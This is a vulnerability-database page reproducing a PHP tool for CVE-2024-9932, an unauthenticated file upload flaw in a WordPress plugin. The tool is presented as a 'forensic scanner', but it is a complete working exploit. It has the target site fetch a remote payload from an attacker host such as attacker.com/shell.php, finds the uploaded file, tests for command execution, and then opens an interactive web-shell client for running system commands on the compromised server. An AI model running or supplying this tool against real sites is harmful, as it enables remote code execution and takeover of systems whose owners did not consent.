| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Exploit for CVE-2024-9932 | 22 Jan 202620:43 | – | githubexploit | |
| Exploit for CVE-2024-9932 | 11 Jan 202522:09 | – | githubexploit | |
| Exploit for CVE-2024-9932 | 5 Nov 202415:00 | – | githubexploit | |
| CVE-2024-9932 | 26 Oct 202403:15 | – | attackerkb | |
| CVE-2024-9932 | 26 Oct 202405:37 | – | circl | |
| WordPress plugin Wux Blog Editor 代码问题漏洞 | 26 Oct 202400:00 | – | cnnvd | |
| CVE-2024-9932 | 26 Oct 202401:58 | – | cve | |
| CVE-2024-9932 Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload | 26 Oct 202401:58 | – | cvelist | |
| CVE-2024-9932 | 26 Oct 202403:15 | – | nvd | |
| 📄 WordPress Wux Blog Editor 3.0.0 Vulnerability Scanner | 6 Feb 202600:00 | – | packetstorm |
=============================================================================================================================================
| # Title : WordPress External Post Editor Plugin 1.2.3 Forensic Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References :
[+] Summary : This PHP forensic scanner is designed to assess WordPress sites for the External Post Editor plugin vulnerability (CVE-2024-9932), which allows unauthenticated file upload potentially leading to remote code execution (RCE).
[+] The scanner performs multiple analysis phases:
Endpoint Accessibility Check: Validates the plugin’s JSON upload endpoint and reports HTTP responses (200, 401, 403, 404, etc.).
File Upload Test: Attempts to upload a test payload, checks server responses, and analyzes JSON or fallback paths for the uploaded file location.
File Verification: Confirms if the uploaded file is accessible and inspects its content type to avoid false positives.
Code Execution Testing: Sends controlled test requests to detect potential remote code execution indicators.
Summary Reporting: Generates structured details about the vulnerability, affected plugin version, type, and references.
Interactive Forensic Shell (Optional): Provides a CLI interface for advanced testing and manual command execution against the confirmed payload.
[+] The tool is modular, separates HTTP communication, logging, and shell interaction, and ensures careful scientific verification of all results without making assumptions about server OS or file paths.
[+] Usage :
# Vulnerability Test Only : php scanner.php --target https://site.com --payload http://attacker.com/test.txt --name test.txt --test-only
# Full Test with Shell : php scanner.php --target https://site.com --payload http://attacker.com/shell.php --name shell.php
[+] POC :
<?php
class WordPressVulnerabilityScanner {
private $target;
private $http_client;
private $logger;
public function __construct($target) {
$this->target = rtrim($target, '/');
$this->http_client = new HTTPClient();
$this->logger = new Logger();
}
public function testEndpointAccessibility() {
$this->logger->info("Testing endpoint accessibility");
$endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
$response = $this->http_client->head($endpoint);
if ($response['code'] == 404) {
$this->logger->error("Endpoint not found");
return false;
}
if ($response['code'] == 403 || $response['code'] == 401) {
$this->logger->warning("Endpoint requires authentication");
return false;
}
$this->logger->success("Endpoint accessible (HTTP {$response['code']})");
return true;
}
public function testFileUploadVulnerability($payload_url, $file_name) {
$this->logger->info("Testing file upload vulnerability");
$endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
$headers = [
'Content-Type' => 'application/json'
];
$data = [
'url' => $payload_url,
'imageName' => $file_name
];
$response = $this->http_client->post($endpoint, $data, $headers);
if ($response['code'] !== 200) {
$this->logger->error("Upload failed with HTTP {$response['code']}");
return false;
}
$json_data = @json_decode($response['body'], true);
if (!$json_data) {
$this->logger->warning("Invalid JSON response");
return $this->analyzeUploadFallback($file_name);
}
if (isset($json_data['success']) && $json_data['success'] === false) {
$this->logger->error("API indicated failure: " . ($json_data['message'] ?? 'Unknown'));
return false;
}
$uploaded_url = null;
if (isset($json_data['data']['url'])) {
$uploaded_url = $json_data['data']['url'];
} elseif (isset($json_data['url'])) {
$uploaded_url = $json_data['url'];
}
if ($uploaded_url) {
$this->logger->success("File uploaded to: " . $uploaded_url);
return ['uploaded_url' => $uploaded_url, 'method' => 'api_response'];
}
return $this->analyzeUploadFallback($file_name);
}
private function analyzeUploadFallback($file_name) {
$this->logger->info("Attempting to locate uploaded file");
$test_paths = $this->generateTestPaths($file_name);
foreach ($test_paths as $path) {
$test_url = $this->target . $path;
$response = $this->http_client->get($test_url, ['timeout' => 3]);
if ($response['code'] == 200) {
$content_type = strtolower($response['headers']['content-type'] ?? '');
if (strpos($content_type, 'text/html') !== false) {
continue;
}
$this->logger->success("Found file at: " . $test_url);
return ['uploaded_url' => $test_url, 'method' => 'bruteforce'];
}
}
$this->logger->error("Could not locate uploaded file");
return false;
}
private function generateTestPaths($file_name) {
$paths = [];
$paths[] = "/wp-content/uploads/{$file_name}";
$paths[] = "/uploads/{$file_name}";
$current_year = date('Y');
$current_month = date('m');
$paths[] = "/wp-content/uploads/{$current_year}/{$current_month}/{$file_name}";
$paths[] = "/wp-content/uploads/" . ($current_year - 1) . "/{$current_month}/{$file_name}";
return $paths;
}
public function verifyFileAccess($url) {
$this->logger->info("Verifying file accessibility");
$response = $this->http_client->head($url);
if ($response['code'] == 200) {
$this->logger->success("File is accessible (HTTP 200)");
$content_type = strtolower($response['headers']['content-type'] ?? '');
if (strpos($content_type, 'text/html') !== false) {
$this->logger->warning("File appears to be HTML (may be error page)");
}
return true;
}
$this->logger->error("File not accessible (HTTP {$response['code']})");
return false;
}
public function testCodeExecution($payload_url, $test_payload) {
$this->logger->info("Testing code execution capability");
$tests = [
[
'param' => 'test',
'expected' => 'OK',
'description' => 'Basic parameter test'
],
[
'param' => 'cmd',
'expected' => null,
'description' => 'Command parameter test'
]
];
foreach ($tests as $test) {
$test_url = $payload_url . '?' . $test['param'] . '=echo%20' . bin2hex(random_bytes(4));
$response = $this->http_client->get($test_url);
$this->logger->debug("Test: {$test['description']} - HTTP {$response['code']}");
if ($response['code'] == 200) {
$analysis = $this->analyzeResponse($response['body'], $test['param']);
if ($analysis['likely_execution']) {
$this->logger->success("Potential code execution detected via {$test['param']} parameter");
return [
'execution_method' => $test['param'],
'analysis' => $analysis
];
}
}
}
$this->logger->error("No code execution capability detected");
return false;
}
private function analyzeResponse($body, $test_param) {
$analysis = [
'likely_execution' => false,
'indicators' => [],
'content_type_hints' => []
];
$execution_indicators = [
'<?php' => 'PHP opening tag',
'system(' => 'System function call',
'exec(' => 'Exec function',
'shell_exec(' => 'Shell exec',
'passthru(' => 'Passthru function',
'popen(' => 'Popen function',
'proc_open(' => 'Proc open function',
'`' => 'Backtick execution'
];
$error_indicators = [
'Parse error' => 'PHP parse error',
'Warning:' => 'PHP warning',
'Notice:' => 'PHP notice',
'Fatal error' => 'PHP fatal error'
];
$body_lower = strtolower($body);
foreach ($execution_indicators as $indicator => $description) {
if (stripos($body, $indicator) !== false) {
$analysis['indicators'][] = $description;
$analysis['likely_execution'] = true;
}
}
foreach ($error_indicators as $indicator => $description) {
if (stripos($body, $indicator) !== false) {
$analysis['content_type_hints'][] = $description;
}
}
$content_length = strlen($body);
if ($content_length > 1000 && $content_length < 10000) {
$analysis['indicators'][] = "Moderate response length ({$content_length} bytes)";
}
return $analysis;
}
public function getExploitSummary() {
return [
'vulnerability' => 'CVE-2024-9932',
'type' => 'Unauthenticated File Upload → RCE',
'component' => 'External Post Editor WordPress Plugin',
'status' => '0-day (as of analysis date)',
'references' => [
'https://wordpress.org/plugins/external-post-editor/',
'https://wpscan.com/vulnerability/...'
]
];
}
}
class HTTPClient {
private $default_options = [
'timeout' => 10,
'connect_timeout' => 5,
'user_agent' => 'Security-Scanner/1.0',
'follow_redirects' => false,
'verify_ssl' => false
];
public function request($method, $url, $options = []) {
$options = array_merge($this->default_options, $options);
$ch = curl_init($url);
$curl_options = [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => strtoupper($method),
CURLOPT_TIMEOUT => $options['timeout'],
CURLOPT_CONNECTTIMEOUT => $options['connect_timeout'],
CURLOPT_USERAGENT => $options['user_agent'],
CURLOPT_FOLLOWLOCATION => $options['follow_redirects'],
CURLOPT_SSL_VERIFYPEER => $options['verify_ssl'],
CURLOPT_SSL_VERIFYHOST => $options['verify_ssl'] ? 2 : 0,
CURLOPT_HEADER => true
];
if (isset($options['data'])) {
if (isset($options['headers']['Content-Type']) &&
strpos($options['headers']['Content-Type'], 'application/json') !== false) {
$curl_options[CURLOPT_POSTFIELDS] = json_encode($options['data']);
} else {
$curl_options[CURLOPT_POSTFIELDS] = http_build_query($options['data']);
}
}
if (!empty($options['headers'])) {
$header_array = [];
foreach ($options['headers'] as $key => $value) {
$header_array[] = "{$key}: {$value}";
}
$curl_options[CURLOPT_HTTPHEADER] = $header_array;
}
curl_setopt_array($ch, $curl_options);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$error = curl_error($ch);
curl_close($ch);
$headers = [];
$body = '';
if ($response !== false) {
$header_text = substr($response, 0, $header_size);
$body = substr($response, $header_size);
$headers = $this->parseHeaders($header_text);
}
return [
'success' => $response !== false && $http_code > 0,
'code' => $http_code,
'body' => $body,
'headers' => $headers,
'error' => $error,
'url' => $url
];
}
public function get($url, $options = []) {
return $this->request('GET', $url, $options);
}
public function post($url, $data = [], $headers = [], $options = []) {
$options['data'] = $data;
$options['headers'] = array_merge($headers, ['Content-Type' => 'application/json']);
return $this->request('POST', $url, $options);
}
public function head($url, $options = []) {
$options['method'] = 'HEAD';
return $this->request('HEAD', $url, $options);
}
private function parseHeaders($header_text) {
$headers = [];
$lines = explode("\r\n", $header_text);
foreach ($lines as $line) {
if (strpos($line, ':') !== false) {
list($key, $value) = explode(':', $line, 2);
$headers[strtolower(trim($key))] = trim($value);
}
}
return $headers;
}
}
class Logger {
private $log_level = 'INFO'; // DEBUG, INFO, WARNING, ERROR
private $colors = true;
public function setLevel($level) {
$this->log_level = strtoupper($level);
}
public function debug($message) {
if ($this->shouldLog('DEBUG')) {
$this->output("[D] " . $message, 'gray');
}
}
public function info($message) {
if ($this->shouldLog('INFO')) {
$this->output("[*] " . $message, 'white');
}
}
public function warning($message) {
if ($this->shouldLog('WARNING')) {
$this->output("[!] " . $message, 'yellow');
}
}
public function error($message) {
if ($this->shouldLog('ERROR')) {
$this->output("[-] " . $message, 'red');
}
}
public function success($message) {
if ($this->shouldLog('INFO')) {
$this->output("[+] " . $message, 'green');
}
}
private function shouldLog($level) {
$levels = ['DEBUG' => 1, 'INFO' => 2, 'WARNING' => 3, 'ERROR' => 4];
return $levels[$level] >= ($levels[$this->log_level] ?? 2);
}
private function output($message, $color) {
if ($this->colors && PHP_SAPI === 'cli') {
$colors = [
'red' => "\033[31m",
'green' => "\033[32m",
'yellow' => "\033[33m",
'blue' => "\033[34m",
'gray' => "\033[90m",
'white' => "\033[97m",
'reset' => "\033[0m"
];
echo ($colors[$color] ?? '') . $message . $colors['reset'] . "\n";
} else {
echo $message . "\n";
}
}
}
class InteractiveShell {
private $http_client;
private $payload_url;
private $logger;
private $session_id;
public function __construct($http_client, $payload_url, $logger) {
$this->http_client = $http_client;
$this->payload_url = $payload_url;
$this->logger = $logger;
$this->session_id = 'SESS_' . bin2hex(random_bytes(4));
}
public function start() {
$this->logger->info("Starting forensic shell");
$this->logger->info("Session: " . $this->session_id);
$this->logger->info("Boundary: " . $this->payload_url);
echo "\n=== Forensic Shell ===\n";
echo "Commands: command, exit, help, info, test\n\n";
while (true) {
echo "fshell> ";
$input = trim(fgets(STDIN));
if (empty($input)) continue;
$parts = explode(' ', $input, 2);
$command = strtolower($parts[0]);
$argument = $parts[1] ?? '';
switch ($command) {
case 'exit':
$this->logger->info("Exiting shell");
return;
case 'help':
$this->showHelp();
break;
case 'info':
$this->showInfo();
break;
case 'test':
$this->testConnection();
break;
case 'command':
if (empty($argument)) {
$this->logger->error("No command provided");
break;
}
$this->executeCommand($argument);
break;
default:
$this->logger->error("Unknown command: {$command}");
echo "Type 'help' for available commands\n";
}
}
}
private function executeCommand($cmd) {
$this->logger->debug("Executing: {$cmd}");
$test_params = ['cmd', 'c', 'exec', 'command', 'run'];
foreach ($test_params as $param) {
$test_url = $this->payload_url . '?' . $param . '=' . urlencode($cmd);
$response = $this->http_client->get($test_url);
if ($response['code'] == 200) {
$this->displayResult($response['body'], $param);
return;
}
}
$this->logger->error("No successful parameter found for command execution");
}
private function displayResult($body, $param_used) {
echo "\n--- Result (via {$param_used}) ---\n";
$clean_body = $this->cleanResponse($body);
if (empty(trim($clean_body))) {
echo "(Empty response)\n";
} else {
if (strlen($clean_body) > 5000) {
echo substr($clean_body, 0, 5000) . "\n... [truncated, total: " . strlen($clean_body) . " bytes]\n";
} else {
echo $clean_body . "\n";
}
}
echo "--- End ---\n\n";
}
private function cleanResponse($body) {
$clean = strip_tags($body);
$clean = preg_replace('/\s+/', ' ', $clean);
return trim($clean);
}
private function showHelp() {
$help = <<<HELP
Available commands:
command <cmd> - Execute system command
test - Test connection to payload
info - Show session information
help - Show this help
exit - Exit the shell
Examples:
command whoami
command id
command pwd
command ls -la
HELP;
echo $help;
}
private function showInfo() {
echo "\nSession Information:\n";
echo " Session ID: " . $this->session_id . "\n";
echo " Payload URL: " . $this->payload_url . "\n";
echo " Timestamp: " . date('Y-m-d H:i:s') . "\n\n";
}
private function testConnection() {
$response = $this->http_client->head($this->payload_url);
if ($response['code'] == 200) {
$this->logger->success("Payload accessible (HTTP 200)");
$test_response = $this->http_client->get($this->payload_url . '?test=ping');
$content_type = $test_response['headers']['content-type'] ?? 'unknown';
echo " Content-Type: " . $content_type . "\n";
echo " Body length: " . strlen($test_response['body']) . " bytes\n";
} else {
$this->logger->error("Payload not accessible (HTTP {$response['code']})");
}
}
}
if (PHP_SAPI !== 'cli') {
die("This tool must be run from command line\n");
}
$options = getopt('', [
'target:',
'payload:',
'name:',
'test-only',
'no-shell',
'verbose',
'help'
]);
if (isset($options['help'])) {
showHelp();
exit(0);
}
function showHelp() {
echo <<<HELP
WordPress CVE-2024-9932 Forensic Scanner By indoushka
Usage: php scanner.php --target URL --payload URL --name FILENAME
Required:
--target WordPress site URL
--payload Remote payload URL to test upload
--name Filename for upload test
Options:
--test-only Only test vulnerability, don't start shell
--no-shell Don't start interactive shell
--verbose Enable verbose output
--help Show this help
Example:
php scanner.php --target https://vuln.site \\
--payload http://test.com/probe.php \\
--name test.php
HELP;
}
$required = ['target', 'payload', 'name'];
foreach ($required as $req) {
if (!isset($options[$req])) {
echo "Error: Missing required argument --{$req}\n\n";
showHelp();
exit(1);
}
}
// Main execution
try {
$logger = new Logger();
if (isset($options['verbose'])) {
$logger->setLevel('DEBUG');
}
$scanner = new WordPressVulnerabilityScanner($options['target']);
echo "\n";
$logger->info("Starting forensic analysis");
$logger->info("Target: " . $options['target']);
// Phase 1: Test endpoint accessibility
if (!$scanner->testEndpointAccessibility()) {
$logger->error("Initial test failed");
exit(1);
}
$upload_result = $scanner->testFileUploadVulnerability(
$options['payload'],
$options['name']
);
if (!$upload_result) {
$logger->error("File upload test failed");
exit(1);
}
$logger->success("File upload vulnerability confirmed");
$uploaded_url = $upload_result['uploaded_url'] ?? '';
if (!$scanner->verifyFileAccess($uploaded_url)) {
$logger->warning("Uploaded file may not be accessible");
}
$execution_test = $scanner->testCodeExecution($uploaded_url, $options['payload']);
if (!$execution_test && !isset($options['test-only'])) {
$logger->warning("No code execution detected. Starting forensic shell anyway.");
}
$summary = $scanner->getExploitSummary();
$logger->info("Vulnerability: " . $summary['vulnerability']);
$logger->info("Type: " . $summary['type']);
if (!isset($options['test-only']) && !isset($options['no-shell'])) {
if ($uploaded_url) {
$http_client = new HTTPClient();
$shell = new InteractiveShell($http_client, $uploaded_url, $logger);
$shell->start();
} else {
$logger->error("Cannot start shell: No payload URL available");
}
}
$logger->info("Analysis complete");
} catch (Exception $e) {
echo "Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation